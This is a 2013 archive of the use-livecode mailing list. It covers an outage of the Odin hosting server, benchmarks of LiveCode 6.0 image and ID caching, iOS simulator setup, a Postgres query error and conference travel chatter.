<59235D38-936C-4566-A73B-35FDE73E4B95@verizon.net> <1368297308253-4664735.post@n4.nabble.com> Message-ID: <58CC2BCB-BCF1-4CDE-8FCC-C73144EA55DE@jhj.com> Freyr is acting normally. Serving sites and mail. On May 11, 2013, at 11:37 AM, Mike Bonner wrote: > Thor is available. > > > On Sat, May 11, 2013 at 12:35 PM, Martin Koob wrote: > >> In a message from Heather Laine it said that hosting services were not >> going >> to be affected during the outage. Are the other on-rev servers down or >> just >> Odin? >> >> Martin >> >> >> >> -- >> View this message in context: >> http://runtime-revolution.278305.n4.nabble.com/Odin-down-tp4664725p4664735.html >> Sent from the Revolution - User mailing list archive at Nabble.com. >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Sat May 11 15:16:05 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 11 May 2013 14:16:05 -0500 Subject: Odin down ? In-Reply-To: <1368297308253-4664735.post@n4.nabble.com> References: <1368296731690-4664730.post@n4.nabble.com> <59235D38-936C-4566-A73B-35FDE73E4B95@verizon.net> <1368297308253-4664735.post@n4.nabble.com> Message-ID: <518E98F5.1000503@hyperactivesw.com> On 5/11/13 1:35 PM, Martin Koob wrote: > In a message from Heather Laine it said that hosting services were not going > to be affected during the outage. Are the other on-rev servers down or just > Odin? My site is on Tio and it's working. I didn't try cpanel but the site loads in a browser. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Sat May 11 15:27:24 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 11 May 2013 14:27:24 -0500 Subject: ID caching: how to test? In-Reply-To: <518E92DF.2080209@fourthworld.com> References: <518DC40A.8080502@hyperactivesw.com> <518E92DF.2080209@fourthworld.com> Message-ID: <518E9B9C.4040100@hyperactivesw.com> On 5/11/13 1:50 PM, Richard Gaskin wrote: > > The image caching just happens automatically. Benchmarking would > > involve timing a procedure in 5.5.4 and then repeating it in 6.0.1 to > > see the difference. > > Right, but using what script? Which references cache and which don't, > and which operations should show the benefit of caching? I read it to mean all images, imported or referenced, and all object references ("card ID xxx", "btn ID xxxx of card 3", etc.) are cached. So to test, I guess one way would be to run some image-heavy stack that uses duplicate images on different cards. The old way was to reload every image when the card was first drawn. The new way is to keep images in a cache in case they're needed again. So make a stack and place the same image on multiple cards. Navigate through the cards. Try it in both 5.5.4 and 6.0.1. They also say caching works for referenced images, so do the same thing with those instead of importing the images into the stack. Another test might be to load an image dynamically by script. Store a couple of images somewhere, and run a repeat loop that loads the text of an image object alternately between the two. In an uncached scheme it should reload each image from scratch on each call. In a cached scheme, the two images should be ready to display instantly. I think. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at lcsql.com Sat May 11 15:29:39 2013 From: pete at lcsql.com (Peter Haworth) Date: Sat, 11 May 2013 12:29:39 -0700 Subject: ID caching: how to test? In-Reply-To: <518E92DF.2080209@fourthworld.com> References: <518DC40A.8080502@hyperactivesw.com> <518E92DF.2080209@fourthworld.com> Message-ID: On Sat, May 11, 2013 at 11:50 AM, Richard Gaskin wrote: > Any tips on how to test this, anyone? Maybe I'm oversimplifying, but I executed this script in 5.5.4 and 6.0 (apologies in advance for any asterisks inserted into the script by gMail) *on* mouseUp *local* tStart *put* the milliseconds into tstart *repeat* 10000 times *get* the short name of card id 1002 of stack "lcstackbrowser" *end* *repeat* *answer* the milliseconds - tstart *end* mouseUp In 6.0, it took consistently around 380ms. On 5.5.4, it took consistently around 280 milliseconds. So unless I'm misunderstanding what's supposed to happen, it takes longer with the caching in 6.0 than it does without in 5.5.4. Which makes me thing my feeble brain doesn't understand it either! Pete lcSQL Software From mail at coffeecone.com Sat May 11 15:31:19 2013 From: mail at coffeecone.com (CoffeeCone Mail) Date: Sun, 12 May 2013 03:31:19 +0800 Subject: While the forum is down... In-Reply-To: References: <518E7D1E.7040203@gmail.com> Message-ID: Okay, we just installed Xcode 4.3.1 on Lion. We can't compile because of the provisioning file thing but we can't also test because the "Test" button is disabled. Any idea about this? On the Preferences panel, we can see that it detects simulator for 5.0 and 6.1. On 5/12/13, Colin Holgate wrote: > You can test with the iOS Simulator. Also, you could fully develop the > Android version, and the iOS version would just be one additional Save, if > you think you want to submit to the App Store as well as Google Play or > Amazon Appstore. > > > On May 11, 2013, at 6:17 PM, Richmond wrote: > >> >That's bl**dy stupid. How can one test this sort of thing to decide if >> > one wants to invest >> in an iPhone developer licence? > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dixonja at hotmail.co.uk Sat May 11 15:34:13 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Sat, 11 May 2013 20:34:13 +0100 Subject: Odin down ? In-Reply-To: <59235D38-936C-4566-A73B-35FDE73E4B95@verizon.net> References: , <1368296731690-4664730.post@n4.nabble.com>, <59235D38-936C-4566-A73B-35FDE73E4B95@verizon.net> Message-ID: > Subject: Re: Odin down ? > From: coiin at verizon.net > Date: Sat, 11 May 2013 19:28:08 +0100 > To: use-livecode at lists.runrev.com > > Everything is down until Tuesday. Chinese whispers ! I certainly hope that 'Odin' is not down until Tuesday !... it has been down 2 hours and right now that is two hours too long From pete at lcsql.com Sat May 11 15:44:00 2013 From: pete at lcsql.com (Peter Haworth) Date: Sat, 11 May 2013 12:44:00 -0700 Subject: ID caching: how to test? In-Reply-To: <518E9B9C.4040100@hyperactivesw.com> References: <518DC40A.8080502@hyperactivesw.com> <518E92DF.2080209@fourthworld.com> <518E9B9C.4040100@hyperactivesw.com> Message-ID: On Sat, May 11, 2013 at 12:27 PM, J. Landman Gay wrote: > Another test might be to load an image dynamically by script. Store a > couple of images somewhere, and run a repeat loop that loads the text of an > image object alternately between the two. In an uncached scheme it should > reload each image from scratch on each call. In a cached scheme, the two > images should be ready to display instantly. > > I think. > OK, redid my test. This time put two images on a card, then executed the following script several times: *on* mouseUp *local* tstart *put* the milliseconds into tstart *repeat* 100000 times *get* the text of image id 1005 *get* the text of image id 1006 *end* *repeat* *answer* the milliseconds - tstart *end* mouseUp Results: 5.5.4: 96-99ms 6.0: 367-397ms Even if this isn't testing the caching, something's up with 6.0 Pete lcSQL Software From richmondmathewson at gmail.com Sat May 11 16:00:44 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 11 May 2013 23:00:44 +0300 Subject: Odin down ? In-Reply-To: References: , <1368296731690-4664730.post@n4.nabble.com>, <59235D38-936C-4566-A73B-35FDE73E4B95@verizon.net> Message-ID: <518EA36C.40907@gmail.com> On 05/11/2013 10:34 PM, John Dixon wrote: > >> Subject: Re: Odin down ? >> From: coiin at verizon.net >> Date: Sat, 11 May 2013 19:28:08 +0100 >> To: use-livecode at lists.runrev.com >> >> Everything is down until Tuesday. > Chinese whispers ! > > I certainly hope that 'Odin' is not down until Tuesday !... it has been down 2 hours and right now that is two hours too long > > > "Just for a change" RunRev are keeping us in the dark [in fact this pisses off quite a large section of the installed users; something RunRev might like to take more tent of]; and this is a model of non-information: "We're working on some exciting changes. Unfortunately, our website, forums and online support services are temporarily unavailable.Normal service will resume at 11am BST Tuesday 14th May 2013" check it out for yourself: http://sorry.livecode.com/index.html There is a school of thought that says that it is a good idea to keep one's faithful followers informed as to what is going on . . . So, what will be 'aff' until Tuesday, and what will only be 'aff' for a bit of the time before then I dinnae ken. Richmond. From dixonja at hotmail.co.uk Sat May 11 16:18:04 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Sat, 11 May 2013 21:18:04 +0100 Subject: Odin down ? In-Reply-To: <518EA36C.40907@gmail.com> References: , , <1368296731690-4664730.post@n4.nabble.com>, , <59235D38-936C-4566-A73B-35FDE73E4B95@verizon.net>, , <518EA36C.40907@gmail.com> Message-ID: Whoooohoooo !... Odin is back Up...:-) Too late to save the day, as I missed my slot to demo a liveCode iOS app to a fairly large audience... but at least it is back up !... > Date: Sat, 11 May 2013 23:00:44 +0300 > From: richmondmathewson at gmail.com > To: use-livecode at lists.runrev.com > Subject: Re: Odin down ? > > On 05/11/2013 10:34 PM, John Dixon wrote: > > > >> Subject: Re: Odin down ? > >> From: coiin at verizon.net > >> Date: Sat, 11 May 2013 19:28:08 +0100 > >> To: use-livecode at lists.runrev.com > >> > >> Everything is down until Tuesday. > > Chinese whispers ! > > > > I certainly hope that 'Odin' is not down until Tuesday !... it has been down 2 hours and right now that is two hours too long > > > > > > > > "Just for a change" RunRev are keeping us in the dark [in fact this > pisses off quite a large > section of the installed users; something RunRev might like to take more > tent of]; and > this is a model of non-information: > > "We're working on some exciting changes. Unfortunately, our website, > forums and online support services are temporarily unavailable.Normal > service will resume at 11am BST Tuesday 14th May 2013" > > check it out for yourself: > > http://sorry.livecode.com/index.html > > There is a school of thought that says that it is a good idea to keep > one's faithful followers > informed as to what is going on . . . > > So, what will be 'aff' until Tuesday, and what will only be 'aff' for a > bit of the time before then > I dinnae ken. > > Richmond. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mkoob at rogers.com Sat May 11 16:35:34 2013 From: mkoob at rogers.com (Martin Koob) Date: Sat, 11 May 2013 13:35:34 -0700 (PDT) Subject: Odin down ? In-Reply-To: References: <1368296731690-4664730.post@n4.nabble.com> <59235D38-936C-4566-A73B-35FDE73E4B95@verizon.net> <518EA36C.40907@gmail.com> Message-ID: <1368304534458-4664749.post@n4.nabble.com> Yes Odin is back up. Martin -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Odin-down-tp4664725p4664749.html Sent from the Revolution - User mailing list archive at Nabble.com. From jacque at hyperactivesw.com Sat May 11 16:50:40 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 11 May 2013 15:50:40 -0500 Subject: While the forum is down... In-Reply-To: References: <518E7D1E.7040203@gmail.com> Message-ID: <518EAF20.60502@hyperactivesw.com> On 5/11/13 2:31 PM, CoffeeCone Mail wrote: > Okay, we just installed Xcode 4.3.1 on Lion. We can't compile because > of the provisioning file thing but we can't also test because the > "Test" button is disabled. Any idea about this? On the Preferences > panel, we can see that it detects simulator for 5.0 and 6.1. Did you select a test target? -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From bvg at mac.com Sat May 11 16:56:12 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Sat, 11 May 2013 22:56:12 +0200 Subject: Odin down ? In-Reply-To: References: <1368296731690-4664730.post@n4.nabble.com> <59235D38-936C-4566-A73B-35FDE73E4B95@verizon.net> <518EA36C.40907@gmail.com> Message-ID: <4C3DA733-FD55-453D-AC8D-D703D9965C4C@mac.com> On 11.05.2013, at 22:18, John Dixon wrote: > Whoooohoooo !... Odin is back Up...:-) Too late to save the day, as I missed my slot to demo a liveCode iOS app to a fairly large audience... but at least it is back up !... By all that is holy |-[ There should be a meme picture for "RunRev Ltd destroys fantastic opportunity" -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From rdimola at evergreeninfo.net Sat May 11 17:17:27 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Sat, 11 May 2013 17:17:27 -0400 Subject: US at conference? In-Reply-To: <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> Message-ID: <001801ce4e8c$f0a42400$d1ec6c00$@net> Made it to the George Hotel earlier today. Pick up 2 other LC souls at the airport and drove them to the hotel. Going to need a day to get over the jet lag. Night Night....... Ralph DiMola IT Director Evergreen Information Services rdimola at evergreeninfo.net -----Original Message----- From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of Ian Wood Sent: Wednesday, May 08, 2013 5:29 PM To: How to use LiveCode Subject: Re: US at conference? Don't forget your luggage... :-) See you there! Ian On 8 May 2013, at 03:37, Andre Garzia wrote: > I am going! I arrive on the 12th :-D _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From coiin at verizon.net Sat May 11 17:19:59 2013 From: coiin at verizon.net (Colin Holgate) Date: Sat, 11 May 2013 22:19:59 +0100 Subject: US at conference? In-Reply-To: <001801ce4e8c$f0a42400$d1ec6c00$@net> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> <001801ce4e8c$f0a42400$d1ec6c00$@net> Message-ID: <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> I'm coming up by train on Monday, to the Travelodge. Should be there by 8pm. On May 11, 2013, at 10:17 PM, Ralph DiMola wrote: > Made it to the George Hotel earlier today. Pick up 2 other LC souls at the > airport and drove them to the hotel. Going to need a day to get over the jet > lag. Night Night....... From wwaldman at klht.org Sat May 11 17:35:20 2013 From: wwaldman at klht.org (William Waldman) Date: Sat, 11 May 2013 17:35:20 -0400 Subject: US at conference? In-Reply-To: References: Message-ID: I'm at the George now! Thanks to Ralph for the lift from the airport. I know they drive on the other side of the road here - but they also drive worse than New Yorkers. Watch out pedestrians.... Bill Waldman Director of Technology King 1450 Newfield Avenue Stamford, CT 06905 Voice: 203 322 3496 ext 377 www.klht.org


This e-mail and any attachments may contain confidential and privileged information. If you are not the intended recipient, please notify the sender immediately by return e-mail, delete this e-mail and any attachments and destroy any copies. Any dissemination or use of this information by a person other than the intended recipient is unauthorized. From dochawk at gmail.com Sat May 11 17:39:23 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Sat, 11 May 2013 14:39:23 -0700 Subject: is there something like "openFieldEditor" for datagrids? Telling when row changed Message-ID: I'm using a table datagrid. I need to figure out when I've left a row (not just a cell). I'm already setting row flags in the corresponding array when a cell changes from closeFieldEditor. The natural way seems to be to save the row & column when I enter a cell, so that when I next enter, if the row isn't the same, I can update (I don't want to update partial row changes; I'll wait). But there doesn't seem to be an openFieldEditor message to match closeFieldEditor and exitFieldEditor . . . I have preOpenFieldEditor working, but my my openFieldEditor doesn't trigger. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From gcanyon at gmail.com Sat May 11 17:57:30 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Sat, 11 May 2013 16:57:30 -0500 Subject: skip lists In-Reply-To: <518DD59D.50902@fourthworld.com> References: <518DD59D.50902@fourthworld.com> Message-ID: <59E77690-B922-4B95-AA04-8721BB73960B@gmail.com> I'm curious why you'd want to do this? As far as I can see, the advantages of linked lists, and the negatives of the alternatives, are both negated by aspects inherent in the LC scripting system. On May 11, 2013, at 12:22 AM, Richard Gaskin wrote: > Anyone here had occasion to implement a skip list in an xTalk? > From ambassador at fourthworld.com Sat May 11 18:20:15 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sat, 11 May 2013 15:20:15 -0700 Subject: skip lists In-Reply-To: <59E77690-B922-4B95-AA04-8721BB73960B@gmail.com> References: <59E77690-B922-4B95-AA04-8721BB73960B@gmail.com> Message-ID: <518EC41F.5050600@fourthworld.com> Geoff Canyon wrote: > I'm curious why you'd want to do this? As far as I can see, the > advantages of linked lists, and the negatives of the alternatives, > are both negated by aspects inherent in the LC scripting system. Because I'm a madman. :) For production use I'll probably go with SQLite on the project I need this for, but now and then I stumble across data storage methods I can write in LC that have a modest advantage or two over alternatives. Rarely is the advantage performance, but with the overhead of b-trees and the externals interface you'd be surprised what very specialized data stores in even a VHL like LC can do. So now and then on the weekends I tinker with alternatives as a sort of odd hobby, dreaming of a day I may come up with another data store that both outperforms SQLite for what I need to do and has the features I'm looking for. And looking around on the Web, I've been surprised so many others share the same hobby - there are many libraries for even simple things like flat file stores written in dozens of languages. Not surprisingly, by the time I add features like aggregate comparisons to a data store, I find myself going back to SQLite. :) But still I ponder, and learn, and even when I abandon one of my experiments I always learn things that make using off-the-shelf data stores more efficient. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From userev at canelasoftware.com Sat May 11 19:58:20 2013 From: userev at canelasoftware.com (Mark Talluto) Date: Sat, 11 May 2013 16:58:20 -0700 Subject: US at conference? In-Reply-To: <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> <001801ce4e8c$f0a42400$d1ec6c00$@net> <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> Message-ID: Eric and I just got on the plane in LAX. See everyone there. Mark Talluto On May 11, 2013, at 2:19 PM, Colin Holgate wrote: > I'm coming up by train on Monday, to the Travelodge. Should be there by 8pm. > > > On May 11, 2013, at 10:17 PM, Ralph DiMola wrote: > >> Made it to the George Hotel earlier today. Pick up 2 other LC souls at the >> airport and drove them to the hotel. Going to need a day to get over the jet >> lag. Night Night....... > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dochawk at gmail.com Sat May 11 20:01:36 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Sat, 11 May 2013 17:01:36 -0700 Subject: postgres talking back on queries again Message-ID: I have an open database debtorDb of 11. I have a text window with psql running on the same database. uniq_sfky is psql likes my query: dhbk_dbtrs=# INSERT INTO try1_____________001_sofa VALUES(DEFAULT) RETURNING uniq_sfky; uniq_sfky ----------- 9 (1 row) INSERT 0 1 dhbk_dbtrs=# Livecode does not: put "INSERT INTO " & dhtbl_sofa & " VALUES(DEFAULT) RETURNING uniq_sfky;" & return into dcmd put dcmd shows INSERT INTO try1_____________001_sofa VALUES(DEFAULT) RETURNING uniq_sfky; --the exact same query (well, I did cut & paste!) Then using this in a couple of ways put revDataFromQuery(tab,vtab,debtordb,dcmd) into theRes put theRes yields revdberr,ERROR: current transaction is aborted, commands ignored until end of transaction block Then also trying, put revdb_execute(debtorDb,dcmd, res1, res2, res3)into theRes put theRes yields the same error message Originally, I had these inside BEGIN/COMMIT, but couldn't make sense out of the errors. This seems to be valid postgres, and works in psql (which is a minimal wrapper, I believe). What is going on here? -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From andre at andregarzia.com Sat May 11 20:07:06 2013 From: andre at andregarzia.com (Andre Garzia) Date: Sat, 11 May 2013 21:07:06 -0300 Subject: US at conference? In-Reply-To: References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> <001801ce4e8c$f0a42400$d1ec6c00$@net> <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> Message-ID: Hi Folks, I am at the airport in Rio right now. After a little eternity, I will arrive there! I am at the travelodge :-D Cheers andre On Sat, May 11, 2013 at 8:58 PM, Mark Talluto wrote: > Eric and I just got on the plane in LAX. See everyone there. > > Mark Talluto > > On May 11, 2013, at 2:19 PM, Colin Holgate wrote: > > > I'm coming up by train on Monday, to the Travelodge. Should be there by > 8pm. > > > > > > On May 11, 2013, at 10:17 PM, Ralph DiMola > wrote: > > > >> Made it to the George Hotel earlier today. Pick up 2 other LC souls at > the > >> airport and drove them to the hotel. Going to need a day to get over > the jet > >> lag. Night Night....... > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From jacque at hyperactivesw.com Sat May 11 20:42:36 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 11 May 2013 19:42:36 -0500 Subject: US at conference? In-Reply-To: References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> <001801ce4e8c$f0a42400$d1ec6c00$@net> <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> Message-ID: <9b35941f-0f68-45d2-a6ce-0b45e7b312a7@email.android.com> Here I sit at the Minneapolis airport awaiting imminent takeoff. My time warp stack says I will arrive on a different day than I left on. I hope it's running in the right direction, I'd hate to get there before I left. Andre Garzia wrote: >Hi Folks, > >I am at the airport in Rio right now. After a little eternity, I will >arrive there! > >I am at the travelodge :-D > >Cheers >andre > > >On Sat, May 11, 2013 at 8:58 PM, Mark Talluto >wrote: > >> Eric and I just got on the plane in LAX. See everyone there. >> >> Mark Talluto >> >> On May 11, 2013, at 2:19 PM, Colin Holgate wrote: >> >> > I'm coming up by train on Monday, to the Travelodge. Should be >there by >> 8pm. >> > >> > >> > On May 11, 2013, at 10:17 PM, Ralph DiMola > >> wrote: >> > >> >> Made it to the George Hotel earlier today. Pick up 2 other LC >souls at >> the >> >> airport and drove them to the hotel. Going to need a day to get >over >> the jet >> >> lag. Night Night....... >> > >> > _______________________________________________ >> > use-livecode mailing list >> > use-livecode at lists.runrev.com >> > Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> > http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From mail at coffeecone.com Sun May 12 01:54:57 2013 From: mail at coffeecone.com (CoffeeCone Mail) Date: Sun, 12 May 2013 13:54:57 +0800 Subject: While the forum is down... In-Reply-To: <518EAF20.60502@hyperactivesw.com> References: <518E7D1E.7040203@gmail.com> <518EAF20.60502@hyperactivesw.com> Message-ID: Oh wow, now I feel stupid. Thanks! On May 12, 2013 4:51 AM, "J. Landman Gay" wrote: > On 5/11/13 2:31 PM, CoffeeCone Mail wrote: > >> Okay, we just installed Xcode 4.3.1 on Lion. We can't compile because >> of the provisioning file thing but we can't also test because the >> "Test" button is disabled. Any idea about this? On the Preferences >> panel, we can see that it detects simulator for 5.0 and 6.1. >> > > Did you select a test target? > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From livfoss at mac.com Sun May 12 03:01:04 2013 From: livfoss at mac.com (Graham Samuel) Date: Sun, 12 May 2013 08:01:04 +0100 Subject: US at conference? In-Reply-To: <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> <001801ce4e8c$f0a42400$d1ec6c00$@net> <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> Message-ID: <04C4DF00-FDF9-4193-9F0C-B7A4D38169DC@mac.com> Me too - you're Brit in disguise, aren't you? I'm a Brit very lightly disguised as a Frenchman? see you there. Graham On 11 May 2013, at 22:19, Colin Holgate wrote: > I'm coming up by train on Monday, to the Travelodge. Should be there by 8pm. > > > On May 11, 2013, at 10:17 PM, Ralph DiMola wrote: > >> Made it to the George Hotel earlier today. Pick up 2 other LC souls at the >> airport and drove them to the hotel. Going to need a day to get over the jet >> lag. Night Night....... > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From monte at sweattechnologies.com Sun May 12 03:34:40 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Sun, 12 May 2013 17:34:40 +1000 Subject: US at conference? In-Reply-To: <04C4DF00-FDF9-4193-9F0C-B7A4D38169DC@mac.com> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> <001801ce4e8c$f0a42400$d1ec6c00$@net> <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> <04C4DF00-FDF9-4193-9F0C-B7A4D38169DC@mac.com> Message-ID: <3E0CDC00-0B86-4D0E-A466-70B65695DD2B@sweattechnologies.com> Rebecca and I should be @ The George by around 1:30PM. Flying out of Stansted @ 11:50. Thinking of taking a look at the castle after dropping off the bags if anyone wants to join us... Cheers -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From rman at free.fr Sun May 12 05:05:26 2013 From: rman at free.fr (Robert Mann) Date: Sun, 12 May 2013 02:05:26 -0700 (PDT) Subject: Odin down ? In-Reply-To: References: Message-ID: <1368349526976-4664765.post@n4.nabble.com> I think I'm (or was on) ODIN... and my sites are running back, but... but... I can't update anything : -- Interarchy answers :: i 'can't get the IP of the server, so get lost! -- On-Rev (was working yesterday saturday..) :: you can no longer use this version, please download a new one... but :: target link not available.. yet!! So something in the pipe !! and meanwhile.. I just learned I could not fly to edinburgh as planned... -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Odin-down-tp4664725p4664765.html Sent from the Revolution - User mailing list archive at Nabble.com. From richmondmathewson at gmail.com Sun May 12 05:21:09 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sun, 12 May 2013 12:21:09 +0300 Subject: Odin down ? In-Reply-To: <1368349526976-4664765.post@n4.nabble.com> References: <1368349526976-4664765.post@n4.nabble.com> Message-ID: <518F5F05.4070107@gmail.com> On 05/12/2013 12:05 PM, Robert Mann wrote: > I think I'm (or was on) ODIN... and my sites are running back, but... Tuesday. I think everybody ought to have realised by now that nothing will be what it should be until Tuesday. > > but... I can't update anything : > > -- Interarchy answers :: i 'can't get the IP of the server, so get lost! > > -- On-Rev (was working yesterday saturday..) :: you can no longer use this > version, > please download a new one... but :: target link not available.. yet!! > > So something in the pipe !! > > and meanwhile.. I just learned I could not fly to edinburgh as planned... Several things in the pipe, by the look of things. Bad luck; hope things get sorted out for you as soon as possible. Richmond. > > > > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/Odin-down-tp4664725p4664765.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Sun May 12 05:23:21 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sun, 12 May 2013 12:23:21 +0300 Subject: Drag and Drop In-Reply-To: <518E6999.6020904@gmail.com> References: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> <518BFC41.4070205@gmail.com> <518C08C1.9080901@gmail.com> <518D52C9.1080202@gmail.com> <1368217057081-4664677.post@n4.nabble.com> <518DE955.5030309@gmail.com> <11486530327.20130511083004@ahsoftware.net> <518E6999.6020904@gmail.com> Message-ID: <518F5F89.1090904@gmail.com> On 05/11/2013 06:54 PM, Richmond wrote: > On 05/11/2013 06:30 PM, Mark Wieder wrote: >> Richmond- >> >> Friday, May 10, 2013, 11:46:45 PM, you wrote: >> >>> As a result I gave up reading it and started thinking for myself. >> ...no good can come of that... >> > > Okay; let's rewrite that to this: > > "I read the documentation, and when it does not help me I start > thinking for myself." > > Richmond. And, further to that; the system in the documentation where users can add their notes, which are then shared around, seems to have gone wonky. Richmond. From bvg at mac.com Sun May 12 06:24:37 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Sun, 12 May 2013 12:24:37 +0200 Subject: Odin down ? In-Reply-To: <1368349526976-4664765.post@n4.nabble.com> References: <1368349526976-4664765.post@n4.nabble.com> Message-ID: <401647BA-743B-4383-99F5-4AB57188C2B2@mac.com> Because the on-rev.com domain name was disabled, you'll need to change your server name to your own. You can leave all other options on, and should see a security warning (domain name mismatch), but only if you have secure connection enabled. There you then can say to always trust odin.on-rev.com when connecting to your site. So make sure that your ftp client's settings are changed for the ftp-server: robert.on-rev.com --> siteofrobert.com On 12.05.2013, at 11:05, Robert Mann wrote: > I think I'm (or was on) ODIN... and my sites are running back, but... > > but... I can't update anything : > > -- Interarchy answers :: i 'can't get the IP of the server, so get lost! > > -- On-Rev (was working yesterday saturday..) :: you can no longer use this > version, > please download a new one... but :: target link not available.. yet!! > > So something in the pipe !! > > and meanwhile.. I just learned I could not fly to edinburgh as planned... > > > > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/Odin-down-tp4664725p4664765.html > Sent from the Revolution - User mailing 